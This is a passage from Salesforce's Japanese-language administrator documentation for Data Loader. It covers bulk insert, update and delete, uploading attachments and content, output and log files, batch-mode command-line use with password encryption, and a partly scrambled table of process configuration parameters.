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2. [挿入]、[更新]、[更新/挿入]、[削除]、または [物理削除] をクリックします。これらのコマンドは、[ファイ
ル] メニューにもあります。

3. Salesforceのユーザ名とパスワードを入力します。[ログイン]をクリックしてログインします。正常にログイ
ンしたら、[次へ] をクリックします。(ログアウトするか、プログラムを終了するまで、再ログインを求め
られることはありません)。
組織で IP アドレスを制限している場合、信頼されない IP からのログインはアクティベーションを行うまで
ブロックされます。Salesforce からアクティベーションメールが自動的に送信され、ユーザはそれを使用し
てログインできます。このメールには、パスワードの末尾に追加する必要のあるセキュリティトークンが
記載されています。たとえば、パスワードが mypassword で、セキュリティトークンが XXXXXXXXXX で
ある場合、ログインするには mypasswordXXXXXXXXXX と入力する必要があります。

4. オブジェクトを選択します。たとえば、取引先レコードを挿入する場合、[取引先]を選択します。オブジェ
クト名がデフォルトのリストに表示されない場合は、[Show all objects]チェックボックスをオンにし
て、アクセス可能なオブジェクトのリストを表示します。オブジェクトは、ローカライズされた表示ラベ
ル名順に表示され、開発者名が括弧内に表示されます。オブジェクトの説明については、『Salesforce および
Force.com のオブジェクトリファレンス』を参照してください。

5. [参照...]をクリックして CSV ファイルを選択します。たとえば、取引先レコードを挿入する場合、新しい取
引先名の [名前] 列を含む insertaccounts.csv という名前の CSV ファイルを指定できます。

6. [次へ] をクリックします。オブジェクトと CSV ファイルが初期化されたら、[OK] をクリックします。
7. Upsert (更新/挿入) を実行する場合:

a. CSV ファイルに、既存レコードとの照合に使用する ID 値の列が必要です。この列は、外部 ID (「外部 ID」
属性が設定されたカスタム項目) または Id  (Salesforce レコード ID) のどちらでもかまいません。ドロップ
ダウンリストから、照合に使用する項目を選択します。オブジェクトに外部 ID 項目が存在しない場合に
は、Id が自動的に使用されます。[次へ] をクリックして続行します。

b. 選択したオブジェクトとリレーションを持つオブジェクトの外部 ID がファイルに存在する場合には、ド
ロップダウンリストからその名前を選択して、レコードの照合用にその外部 ID を有効にします。ここで
選択しなくても、次の手順で対応付けることにより、関連オブジェクトの Id 項目を照合に使用できま
す。[次へ] をクリックして続行します。

8. CSV ファイル内の列を Salesforce項目に対応付ける方法を定義します。[既存の対応付けを選択]をクリックし
て既存の項目の対応付けを選択するか、[対応付けを作成または編集する] をクリックして、新しい対応付
けを作成するか、既存の対応付けを編集します。詳細と使用例についての詳細は、「データローダ項目の
対応付けの定義」 (ページ 773)を参照してください。

9. [次へ] をクリックします。
10. 毎回の処理ごとに、データローダによって 2 つの一意の CSV ログファイルが生成されます。一方はファイ

ル名が「success」で始まり、もう一方は「error」で始まります。[参照...] をクリックして、これらのファイ
ルを格納するディレクトリを指定します。

11. 処理を実行するには、[完了] をクリックし、次に [はい] をクリックして確認します。
12. 処理が進むにつれて、進捗状況の情報ウィンドウにデータ移動の状況が表示されます。
13. 処理が完了すると、確認ウィンドウに結果の要約が表示されます。成功ファイルを表示するには[成功した

項目を参照]をクリックし、エラーファイルを開くには [エラーを表示]をクリックします。終了する場合は
[OK]をクリックします。詳細は、「データローダの出力ファイルの確認」 (ページ778)を参照してください。
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ヒント:

• 大量のデータを更新または削除する場合のヒント集とベストプラクティスについては、「一括更新の
実行」および「一括削除の実行」を参照してください。

• Bulk APIが有効な場合、100 件のレコード処理に 5分間の制限があります。また、1 つのファイルの処理
に10分以上かかる場合は、Bulk APIでは、後で処理するためにファイルの残りがキューに戻されます。
Bulk API が後で処理を試みて、さらに 10 分の制限を超える場合、ファイルをキューに戻し、10 回まで
再処理してから、その処理を完全な失敗とマークします。処理が失敗した場合でも、レコードによっ
ては正常に処理が完了した可能性もあるため、結果を確認する必要があります。ファイルの読み込み
時にタイムアウトエラーが発生した場合、ファイルをより小さいファイルに分割してからもう一度実
行してください。

一括更新の実行

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

多数のレコードを一度に更新する場合には、次の手順をお勧めします。
1. 更新するオブジェクトのエクスポートを実行するか、レポートを実行して

データを取得します。レポートに必ずレコード ID を入れてください。
2. バックアップ手段として、生成された CSV ファイルのコピーを保存します。
3. Excel などの CSV エディタで作業ファイルを開き、データを更新します。
4. データローダを起動し、更新ウィザードに従います。照合は、レコード ID に

よって行われます。「データローダを使用したデータの挿入、更新、または
削除」 (ページ 773)を参照してください。

5. 操作終了後、完了とエラーのログファイルを確認します。「データローダの
出力ファイルの確認」 (ページ 778)を参照してください。

6. 間違えた場合は、バックアップファイルを使用して、レコードを以前の値に
更新します。
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一括削除の実行

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

レコードを一括削除する
• 「すべてのデータの編

集」

データローダを使用して多数のレコードを一度に削除する場合は、次の手順に
従うことをお勧めします。
1. バックアップ手段として、削除するレコードをエクスポートします。必ずす

べての項目を選択してください (「データのエクスポート」 (ページ 771)を参
照してください)。生成された CSV ファイルのコピーを保存します。

2. 次に、削除するレコードをエクスポートします。このとき、レコード ID を希
望の条件として使用します。

3. データローダを起動し、削除または物理削除ウィザードに従います。ID 列だ
けを対応付けます。「データローダを使用したデータの挿入、更新、または
削除」 (ページ 773)を参照してください。

4. 操作終了後、完了とエラーのログファイルを確認します。「データローダの
出力ファイルの確認」 (ページ 778)を参照してください。

添付ファイルのアップロード
データローダを使用して、Salesforce に添付ファイルをアップロードできます。
添付ファイルをアップロードする前に、次の点に注意してください。
• Bulk API でアップロードする場合、[設定] > [設定] ページの [Bulk API バッチを zip ファイルとしてアッ

プロードする] が有効であることを確認します。
• ソースSalesforce組織からリリース先Salesforce組織に添付ファイルを移行する場合、最初にソース組織にデー

タエクスポートを要求します。[エクスポートをスケジュール] ページで、[添付ファイルを含める] チェッ
クボックスがオンになっていることを確認します。この指定によって、ファイル Attachment.csvがエク
スポートに含まれます。この CSV ファイルを使用して、添付ファイルをアップロードできます。エクスポー
トサービスについての詳細は、「Salesforce からバックアップデータをエクスポートする」 (ページ 823)を参
照してください。

添付ファイルをアップロードする手順は、次のとおりです。
1. 添付ファイルのインポートに使用する予定の CSV ファイルに、次の必須列が含まれていることを確認しま

す (各列は Salesforce 項目を表します)。
• ParentId  — 親レコードの Salesforce ID。
• 名前  — myattachment.jpg など、添付ファイルの名前。
• 内容  — ローカルドライブ上にある添付ファイルへの絶対パス。

[内容] 列の値に、添付ファイルの完全なファイル名 (コンピュータ上のとおり) が含まれていることを
確認します。たとえば、myattachment.jpgという名前の添付ファイルが、コンピュータの C:\Export

に置かれている場合、[内容] には C:\Export\myattachment.jpg と指定する必要があります。CSV

ファイルは次のようになります。
ParentId,Name,Body
50030000000VDowAAG,attachment1.jpg,C:\Export\attachment1.gif
701300000000iNHAAY,attachment2.doc,C:\Export\files\attachment2.doc

CSV ファイルには、[説明] など、その他任意の [添付ファイル] 項目を含めることもできます。
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2. 挿入または更新/挿入操作に進みます。「データローダを使用したデータの挿入、更新、または削除」 (ペー
ジ773)を参照してください。[データオブジェクトを選択]ステップで、[すべての Salesforce オブジェク
トを表示] チェックボックスをオンにし、[添付ファイル] オブジェクト名がリストに表示されるようにし
てください。

データローダを使用したコンテンツのアップロード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

データローダを使用して、ドキュメントやリンクを Salesforce CRM Content のライ
ブラリに一括してアップロードできます。ドキュメントまたはリンクをアップ
ロードする前に、次の点に注意してください。
• Bulk API でアップロードする場合、[設定] > [設定] ページの [Bulk API バッ

チを zip ファイルとしてアップロードする] が有効であることを確認しま
す。

• データローダを使用してローカルドライブからドキュメントをアップロード
する場合、CSV ファイルの VersionData と PathOnClient 項目にパスを指
定します。VersionDataは場所を示し、形式を抽出します。PathOnClient

はアップロードされるドキュメントの種類を示します。
• データローダを使用してリンクをアップロードする場合、ContentUrlで URL を指定します。リンクのアッ

プロードに PathOnClient または VersionData を使用しないでください。
• データローダを使用してコンテンツをエクスポートすることはできません。
• すでにアップロード済みのコンテンツを更新する場合は、次の操作を実行します。

– 挿入機能を実行する。
– 18 文字の ID を含む ContentDocumentId 列を追加する。Salesforce はこの情報を使用して、コンテンツ

が更新されていることを認識します。ContentDocumentIdを対応付けると、コンテンツファイルに更
新が追加されます。ContentDocumentId を追加しない場合、コンテンツは新規として処理され、コンテン
ツファイルは更新されません。

1. 次の項目を使用して CSV ファイルを作成します。
• タイトル  - ファイル名。
• 説明  - (省略可) ファイルまたはリンクの説明。

メモ: 説明にカンマがある場合、テキストの前後に二重引用符を使用します。

• VersionData  - ローカルドライブのファイルパスを入力します (ドキュメントのアップロード専用)。

メモ: アップロード時、ファイルは base64 エンコードに変換されます。このアクションによって、
ファイルサイズに約 30% 上乗せされます。

• PathOnClient  - ローカルドライブのファイルパスを入力します (ドキュメントのアップロード専用)。
• ContentUrl  - URL (ドキュメントのアップロード専用)。
• OwnerId  - (省略可) ファイル所有者。デフォルトはファイルをアップロードするユーザです。
• FirstPublishLocationId  - ライブラリ ID。
• RecordTypeId  - レコードタイプ ID。
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メモ: レコードタイプを制限しているライブラリに公開する場合、RecordTypeIdを指定します。

データローダを使用する組織の RecordTypeId値を指定するには、データのエクスポートの手順に従っ
てください。SOQL クエリのサンプルを次に示します。
Select Id, Name FROM RecordType WHERE SobjectType = 'ContentVersion'

AJAX Toolkit を使用する組織の RecordTypeId 値を指定する手順は、次のとおりです。
a. Salesforce にログインします。
b. ブラウザに URL http://instanceName.salesforce.com/soap/ajax/39.0/debugshell.html

を入力します。組織の instanceName を入力します。Salesforce にログインした後、ブラウザの URL

項目に instanceName が表示されます。
c. AJAX Toolkit Shell ページに、次を入力します。

sforce.connection.describeSObject("ContentVersion")

d. [Enter] キーを押します。
e. recordTypeInfos の矢印をクリックします。

組織の RecordTypeId 値が表示されます。

• TagsCsv  - (省略可) タグ。
サンプル CSV ファイルは次のようになります。
Title,Description,VersionData,PathOnClient,OwnerId,FirstPublishLocationId,RecordTypeId,TagsCsv
testfile,"This is a test file, use for bulk
upload",c:\files\testfile.pdf,c:\files\testfile.pdf,005000000000000,058700000004Cd0,012300000008o2sAQG,one

2. ContentVersion オブジェクトの CSV ファイルをアップロードします (「データローダを使用したデータの挿入、
更新、または削除」 (ページ773)を参照)。指定したライブラリのすべてのドキュメントおよびリンクが使用
できるようになります。

データローダの出力ファイルの確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

インポートまたはエクスポートの後、データローダは、操作の結果を含む 2 つ
の CSV 出力ファイルを生成します。一方のファイル名は「success」で始まり、も
う一方のファイル名は「error」で始まります。エクスポート中は、データローダ
は、抽出されたデータをウィザードで指定する CSV ファイルに保存します。デー
タローダには、ビルトインの CSV ファイルビューアあり、これらのファイルを
開いたり表示したりできます。
データローダ操作から出力ファイルを表示する手順は、次のとおりです。
1. [表示] > [CSV を表示]を選択します。
2. 表示する行数を指定します。CSV ファイルの各行が Salesforce レコードと対応

します。デフォルト値は 1000 です。
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3. 選択した CSV ファイルを表示するには、[CSV を開く]をクリックします。最新の正常ファイルを表示するに
は、[開けました]をクリックします。最新のエラーファイルを表示するには、[エラーを開く]をクリックし
ます。CSV ファイルは、新しいウィンドウに表示されます。

4. 必要に応じて、[外部プログラムで開く] をクリックして、Microsoft® Office Excel など、関連付けられている外
部プログラムで開きます。
「成功」ファイルには、正常に読み込まれたすべてのレコードが含まれます。このファイルには、新たに
生成されたレコード ID の列があります。「エラー」ファイルには、読み込み操作から拒否されたすべての
レコードが含まれます。このファイルには、読み込みに失敗した理由を説明する列があります。

5. [閉じる] をクリックして [CSV Chooser] ウィンドウに戻るか、[OK] を押してウィンドウを終了します。

メモ: データのエクスポート時に「success」ファイルを生成するには、[エクスポート結果のステータスファ
イルを生成する]設定を選択します。詳細は、「データローダの設定」 (ページ764)を参照してください。

データローダのログファイルの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

データローダの問題を調べる必要がある場合、またはSalesforceカスタマーサポー
トから依頼された場合には、データローダで実行した処理およびネットワーク
接続を追跡するログにアクセスできます。
sdl.log ログファイルには、データローダのログエントリの詳細が時間順に表
示されています。「INFO」のマークが付いているログエントリは、Salesforceへの
ログインやログアウトなどの手順項目です。「ERROR」のマークが付いているロ
グエントリは、必須項目が入力されていないレコードの送信などの問題を表し
ています。ログファイルは、Microsoft のメモ帳など一般的なテキストエディタで
開くことができます。
Windows 用のデータローダを使用している場合は、[ファイル名を指定して実行]、
または Windows エクスプローラのアドレスバーに「%TEMP%\sdl.log」と入力し
てログファイルを表示します。
Mac OSX 用のデータローダを使用している場合は、ターミナルを開き「open $TMPDIR/sdl.log」と入力して
ログファイルを表示します。
UI からのログインに問題がある場合、新しいセキュリティトークンを取得する必要がある場合があります。

バッチモード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

ユーザは、コマンドラインからデータローダをバッチモードで実行できます。
次のトピックを参照してください。
• インストール済みのディレクトリとファイル
• コマンドラインからの暗号化
• バッチモードインターフェースのアップグレード
• データローダのコマンドラインインターフェース
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• バッチプロセスの設定
• データローダプロセスの設定パラメータ
• データローダのコマンドライン操作
• データベースアクセスの設定
• 列の対応付け
• 個々のバッチプロセスの実行
• データアクセスオブジェクト

メモ:  8.0 より前のバージョンでコマンドラインからバッチモードを使用した場合、「バッチモードイン
ターフェースのアップグレード」 (ページ 781)を参照してください。

インストール済みのディレクトリとファイル

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

バージョン 8.0 以降では、データローダのインストールにより、インストール
ディレクトリ下にいくつかのディレクトリが作成されます。次のディレクトリ
は、自動化されたバッチ処理のため、コマンドラインからプログラムを実行す
る場合に必要です。
bin

パスワードの暗号化のためのバッチファイル encrypt.bat と、バッチプロ
セス実行のための process.bat があります。
コマンドラインからのデータローダの実行についての詳細は、「データロー
ダのコマンドラインインターフェース」 (ページ 782)を参照してください。

conf

デフォルトの設定ディレクトリ。設定ファイル config.properties、Loader.class、log-conf.xml

があります。
グラフィカルユーザインターフェースの [設定] ダイアログを変更して生成された config.properties

ファイルは、C:\Documents and Settings\Windows ユーザ名\Application Data\Salesforce\Data

Loader version_number にあります。このファイルを conf インストールディレクトリにコピーし、
バッチプロセス用に使用します。
log-conf.xml ファイルは、Windows 用のデータローダのバージョン 35.0 に含まれています。現在のユー
ザの log-conf.xmlは %LOCALAPPDATA%\salesforce.com\Data Loader\samples\conf\log-conf.xml

に、すべてのユーザの log-conf.xml は C:\Program Files (x86)\salesforce.com\Data

Loader\samples\conf\log-conf.xml に保存されます。
サンプル

参考のための、サンプルファイルのサブディレクトリがあります。

ファイルパスの規則
このトピックで示すファイルパスは、インストールディレクトリより 1 レベル下から始まります。たとえば、
デフォルトのインストールディレクトリを使用している場合、\binは C:\Program Files \Salesforce\Data
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Loader version_number\binを意味します。プログラムを他の場所にインストールしている場合、適切な
ディレクトリパスに置き換えてください。

コマンドラインからの暗号化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダをバッチモードで実行するときに、次の設定
パラメータを暗号化する必要があります。
• sfdc.password

• sfdc.proxyPassword

データローダには暗号化ユーティリティが用意されており、設定ファイルに指
定されているパスワードを保護します。このユーティリティはパスワードの暗
号化に使用されますが、データローダを使用して送信するデータは暗号化され
ません。
1. \bin\encrypt.bat を実行します。
2. コマンドラインで、表示されるプロンプトに従って、次の操作を実行します。

キーの生成
入力したテキストから、画面上にキーテキストが生成されます。先頭や最後にスペースが付かないよ
う、キーテキストをキーファイルに慎重にコピーします。これで、暗号化と復号化にキーファイルを使
用できます。

テキストの暗号化
暗号化されたパスワードとその他のテキストを生成します。必要に応じて、暗号化用のキーファイルを
使用することもできます。設定ファイルで、暗号化されたテキストが正確にコピーされ、キーファイル
について述べていることを確認します。

暗号化されたテキストの確認
パスワードが暗号化されて復号化されたら、その暗号化されたパスワードが復号化されたものと一致す
ることを確認します。成功または失敗のメッセージがコマンドラインに表示されます。

バッチモードインターフェースのアップグレード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

データローダバージョン 8.0 以降のバッチモードインターフェースは、それ以前
のバージョンとの下位互換性はありません。バッチプロセスの実行に 8.0 より前
のバージョンを使用している場合、次の選択肢があります。
バッチ使用のために古いバージョンを維持する

データローダの古いバージョンをアンインストールしないでください。バッ
チプロセスには、そのバージョンを継続して使用します。データベースの接
続などの新しい機能は活用できませんが、インテグレーションはこれまでど
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おり機能します。必要に応じて、古いバージョンと並行して新しいバージョンをインストールし、バッチ
プロセスのみに古いバージョンを使用してください。

新しい GUI から新しい config.properties ファイルを作成する
元は config.propertiesファイルをグラフィカルユーザインターフェースから生成している場合、新し
いバージョンを使用して同じプロパティを設定し、新しいファイルを生成します。この新しいファイルを、
新しいバッチモードインターフェースで使用します。

config.properties ファイルを手動で更新する
古い config.propertiesファイルを手動で作成した場合、新しいバージョン対応の更新は手動で行う必
要があります。詳細は、「インストール済みのディレクトリとファイル」 (ページ780)を参照してください。

データローダのコマンドラインインターフェース

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

夜間にスケジュール設定されている読み込みや抽出などの自動化されたバッチ
処理の場合は、コマンドラインからデータローダを実行します。バッチ処理を
実行する前に、暗号化されたパスワードが設定ファイルにあることを確認して
ください。詳細は、「データローダの概要」 (ページ 801)および「コマンドライ
ンからの暗号化」 (ページ 781)を参照してください。コマンドラインから bin

ディレクトリに移動し、「process.bat」と入力します。これは、次のパラメー
タを使用します。
• config.properties があるディレクトリ。
• process-conf.xml に含まれているバッチ処理 bean の名前。
log-conf.xml ファイルは、Windows 用のデータローダのバージョン 35.0 に含まれています。現在のユーザの
log-conf.xmlは %LOCALAPPDATA%\salesforce.com\Data Loader\samples\conf\log-conf.xmlに、
すべてのユーザの log-conf.xml は C:\Program Files (x86)\salesforce.com\Data

Loader\samples\conf\log-conf.xml に保存されます。
process.bat 使用についての詳細は、「個々のバッチプロセスの実行」 (ページ 801)を参照してください。
ヒントと手順を表示するには、process.bat に含まれているコマンドに「-help」を追加します。
データローダは、ユーザが設定ファイルで指定した処理、ファイル、またはマップを実行します。コンフィグ
レーションディレクトリを指定しない場合には、現在のディレクトリが使用されます。デフォルトでは、デー
タローダの設定ファイルは次の場所にインストールされます。
C:\Program Files\Salesforce\Data Loader バージョン番号\conf

バッチ処理を設定するには、process-conf.xml ファイルを使用します。bean 要素の ID 属性 (<bean

id="myProcessName"> など) でプロセスの名前を設定します。
高度なログ記録を実装する場合は、log-conf.xml のコピーを使用します。
param=value をプログラムの引数として指定することにより、実行時にパラメータを変更できます。たとえ
ば、「process.operation=insert」をコマンドに追加すると、実行時の設定が変わります。
ヒープサイズの最小値と最大値を設定できます。たとえば、-Xms256m -Xmx256m では、ヒープサイズは 256

MB に設定されます。
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メモ: 上記の内容は、データローダバージョン 8.0 以降にのみ適用されます。

ヒント: 新しいバージョンのデータローダへのアップグレード後に、コマンドラインインターフェースか
らのログインに問題が発生した場合は、パスワードを再暗号化してみてください。

バッチプロセスの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

\samples\conf\process-conf.xml を使用して、ProcessRunner bean で表され
るデータローダプロセスを設定します。プロセスには、class 属性として
ProcessRunner が必要です。また、次のプロパティが設定ファイルに設定さ
れている必要もあります。
name

ProcessRunner bean の名前を設定します。この値は、一般的ではないスレッド
名や設定バッキングファイルとしても使用されます (下記を参照)。

configOverrideMap

mapタイプのプロパティ。各エントリは設定を表し、キーは設定名、値は設
定値です。

enableLastRunOutput

true に設定すると (デフォルト)、sendAccountsFile_lastrun.properties など、最新の実行に関する
情報を含む出力ファイルが生成され、lastRunOutputDirectory で指定した場所に保存されます。false

に設定すると、ファイルは生成も保存もされません。
lastRunOutputDirectory

sendAccountsFile_lastrun.propertiesなど、最新の実行に関する情報を含む出力ファイルを書き込
むディレクトリの場所。デフォルト値は、\conf です。enableLastRunOutput が false に設定されている
とファイルが生成されないため、この値は使用されません。

設定バッキングファイルは、デバッグ目的の最新の実行から得られた設定パラメータ値を保存し、
config.propertiesのデフォルト設定パラメータの読み込みに使用されます。configOverrideMapの設定
は、設定バッキングファイルの設定より優先されます。設定バッキングファイルは、プログラム上で管理さ
れ、手動での編集は必要ありません。
使用可能なプロセス設定パラメータの名前と説明についての詳細は、「データローダプロセスの設定パラメー
タ」 (ページ 784)を参照してください。

783

データローダSalesforce 組織の設定および管理



データローダプロセスの設定パラメータ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

メモ: データローダのコマンドラインインターフェースは、Windows でのみ
サポートされています。

コマンドラインからデータローダを実行するときに、次の設定パラメータを
process-conf.xmlファイルに指定できます。場合によっては、[設定] > [設定]

のグラフィカルユーザインターフェースにもパラメータが表示されます。

ヒント: サンプルの process-conf.xmlファイルは、データローダがイン
ストールされている場所の \samples ディレクトリにあります。

説明[設定]
ダイア
ログに
ある同
等のオ
プショ
ン

デー
タ型

パラメータ名

このオプションを選択すると、
保存されている文字コードの

すべて
の CSV

ブー
ル型dataAccess.readUTF8

形式に関係なく、ファイルを

を

強制的に UTF-8 文字コードで開
きます。
サンプル値: true

UTF-8

エン
コー
ディン
グで読
み込む

このオプションを選択すると、
ファイルを強制的に UTF-8 文字
コードで書き込みます。
サンプル値: true

すべて
の CSV

を
UTF-8

エン

ブー
ル型dataAccess.writeUTF8

コー
ディン
グで書
き出す

CSV ファイル名など、使用する
データソースの名前。データ

該当
データ

文字
列型dataAccess.name

ベースの場合、

なし
(N/A)

database-conf.xml にある
データベース設定の名前を使
用します。
サンプル値:
c:\dataloader\data\extractLead.csv
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

データベースから一度に読み取るレコード
数。最大値は、200 です。
サンプル値: 50なし整数dataAccess.readBatchSize

標準またはカスタムのデータソース種別。
標準タイプは、csvWriter、csvRead、
databaseWrite、databaseRead です。
サンプル値: csvWriteなし

文字列
型dataAccess.type

データベースから一度に書き込むレコード
数。最大値は、2,000 です。パラメータ値が

なし整数dataAccess.writeBatchSize

大きい場合、エラーが発生したときに、一
括処理されているすべてのレコードがロー
ルバックされることになるため、注意して
ください。それに対して、値が 1 に設定さ
れていれば、レコードは (一括ではなく) 1

つずつ処理され、エラーはその 1 つのレ
コードに対してのエラーとなります。デー
タベースへの書き込みの問題を診断する必
要がある場合は、値を 1 に設定することを
お勧めします。
サンプル値: 500

データをエクスポートするときに成功とエ
ラーのファイルを生成する場合は、このオ
プションを選択します。
サンプル値: true

エクスポー
ト結果のス
テータス
ファイルを
生成する

ブール
型process.enableExtractStatusOutput

データローダをバッチモードで実行してい
るときに、

なし
ブール
型process.enableLastRunOutput

sendAccountsFile_lastRun.properties

などの出力ファイルの生成を無効にできま
す。このタイプのファイルは、デフォルト
で confディレクトリに保存されます。こ
れらのファイルへの書き込みを停止するに
は、このオプションを false に設定しま
す。
また、ファイルを保存するディレクトリの
場所は、
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

process.lastRunOutputDirectoryを
使用して変更できます。
サンプル値: true

暗号化キーが入っているファイルの名前。
「コマンドラインからの暗号化」 (ページ
781)を参照してください。
サンプル値:
c:\dataloader\conf\my.keyなし

文字列
(ファイ
ル名)process.encryptionKeyFile

process.lastRunDateパラメータの初期
設定。SQL 文で使用でき、プロセスの実行

なし日付process.initialLastRunDate

が成功すると自動的に更新されます。日付
形式の構文についての詳細は、「日付形
式」 (ページ 769)を参照してください。
形式は
yyyy-MM-ddTHH:mm:ss.SSS+/-HHmm で
す。たとえば、2006-04-13T13:50:32.423-0700

となります。

データローダをバッチモードで実行してい
るときに、

なし

文字列
(ディレ
クトリ)process.lastRunOutputDirectory

sendAccountsFile_lastRun.properties

などの出力ファイルが書かれる場所を変更
できます。このタイプのファイルは、デ
フォルトで \conf ディレクトリに保存さ
れます。場所を変更するには、このオプ
ションの値を、出力ファイルを書き込む場
所のフルパスに変更します。
また、process.enableLastRunOutput

を使用してファイルの書き込みを停止でき
ます。

前回に実行した操作が失敗した場合に、最
後に成功した操作の完了時点から開始する
よう設定できます。
サンプル値: 1008

開始行の位
置数字process.loadRowToStartAt
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

使用する項目の対応付けファイルの名前。
「列の対応付け」 (ページ799)を参照してく
ださい。
サンプル値:
c:\dataloader\conf\accountExtractMap.sdlなし

文字列
(ファイ
ル名)process.mappingFile

実行する操作。「データローダのコマンド
ライン操作」 (ページ794)を参照してくださ
い。
サンプル値: extractなし

文字列
型process.operation

「成功」または「エラー」の出力ファイル
を保存するディレクトリ。ファイル名は、

なし

文字列
(ディレ
クトリ)process.statusOutputDirectory

process-conf.xml で他の方法を指定し
ない限り、操作ごとに自動的に生成されま
す。
サンプル値: c:\dataloader\status

最新の操作によるエラーデータを保存する
CSV ファイルの名前。
サンプル値:
c:\dataloader\status\myProcessErrors.csvなし

文字列
(ファイ
ル名)process.outputError

最新の操作による成功データを保存する
CSV ファイルの名前。

なし

文字列
(ファイ
ル名)process.outputSuccess

「process.enableExtractStatusOutput」
(ページ 785) も参照してください。
サンプル値:
c:\dataloader\status\myProcessSuccesses.csv

このオプションを有効にすると、日付の形
式として dd/MM/yyyyおよび dd/MM/yyyy

HH:mm:ss が使用できます。
サンプル値: true

ヨーロッパ
の日付形式
を使用

ブール
型process.useEuropeanDates

挿入、更新、更新/挿入に使う割り当てルー
ルの ID を指定します。このオプションは、

割り当て
ルール

文字列
型sfdc.assignmentRule

ケースとリードでの挿入、更新、更新/挿
入に適用されます。また、取引先に対する
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

テリトリー割り当てルールが組織にある場
合、取引先の更新にも適用されます。割り
当てルールは、CSV ファイルの [所有者]

の値を上書きします。
サンプル値: 03Mc00000026J7w

連続する次のチェックを待つ時間 (ミリ
秒)。チェックでは、非同期の Bulk API 操作

なし整数sfdc.bulkApiCheckStatusInterval

が完了しているかどうか、または処理した
レコードの数を確認します。
「sfdc.useBulkApi」を参照してくださ
い。値を 5000 にすることをお勧めします。
サンプル値: 5000

このオプションを選択すると、Bulk APIが並
列処理ではなく、順次処理されます。並列

一括 API

に対して順
ブール
型sfdc.bulkApiSerialMode

処理を行うと、データベースの競合が生じ

次モードを
有効にする

る可能性があります。競合が激しいと、読
み込みが失敗することがあります。順次
モードを使用すれば、バッチは 1 つずつ確
実に処理されます。ただし、このオプショ
ンを使用すると、読み込みの処理時間が大
幅に増える場合があります。
「sfdc.useBulkApi」を参照してくださ
い。
サンプル値: false

Bulk APIを使用して、添付ファイルレコード
やSalesforce CRM Contentなどのバイナリ添付

Bulk API

バッチを
zip ファ

ブール
型sfdc.bulkApiZipContent

ファイルを含む zip ファイルをアップロー
ドするには、このオプションを選択しま

イルとして
す。「sfdc.useBulkApi」を参照してく
ださい。
サンプル値: true

アップロー
ドする

API コール中の接続待ち時間 (秒)。
サンプル値: 60なし整数sfdc.connectionTimeoutSecs
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

true の場合、SOAP メッセージデバッグを有
効にします。デフォルトでは、

なし
ブール
型sfdc.debugMessages

sfdc.debugMessagesFileで他の場所を
指定しない限り、メッセージは STDOUT に
送信されます。
サンプル値: false

「process.enableExtractStatusOutput」
(ページ 785)を参照してください。Salesforce

なし

文字列
(ファイ
ル名)sfdc.debugMessagesFile

で送受信する SOAP メッセージを保存しま
す。メッセージを送信または受信すると、
メッセージがファイルの最後に追加されま
す。ファイルにはサイズ制限がないため、
使用できるディスク容量を監視してくださ
い。
サンプル値:
\lexiloader\status\sfdcSoapTrace.log

true の場合、Salesforce サーバへの接続を繰
り返し試行できます。

なし
ブール
型sfdc.enableRetries

「sfdc.maxRetries」 (ページ 790)および
「sfdc.minRetrySleepSecs」 (ページ
790)を参照してください。
サンプル値: true

通信対象となる Salesforceサーバの URL を入
力します。たとえば、データを Sandbox に

サーバホス
トURLsfdc.endpoint

読み込む場合は、URL を
https://test.salesforce.comに変更
します。
本番のサンプル値:
https://login.salesforce.com/services/Soap/u/39.0

操作で使用されるSalesforceオブジェクト。
サンプル値: Leadなし

文字列
型sfdc.entity

更新/挿入操作で使用されます。データを
一致させるための一意の ID として使用されなし

文字列
型sfdc.externalIdField
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説明[設定] ダイ
アログにあ
る同等のオ
プション

データ
型

パラメータ名

る「External ID」(外部 ID) 属性を持つカスタ
ム項目を指定します。
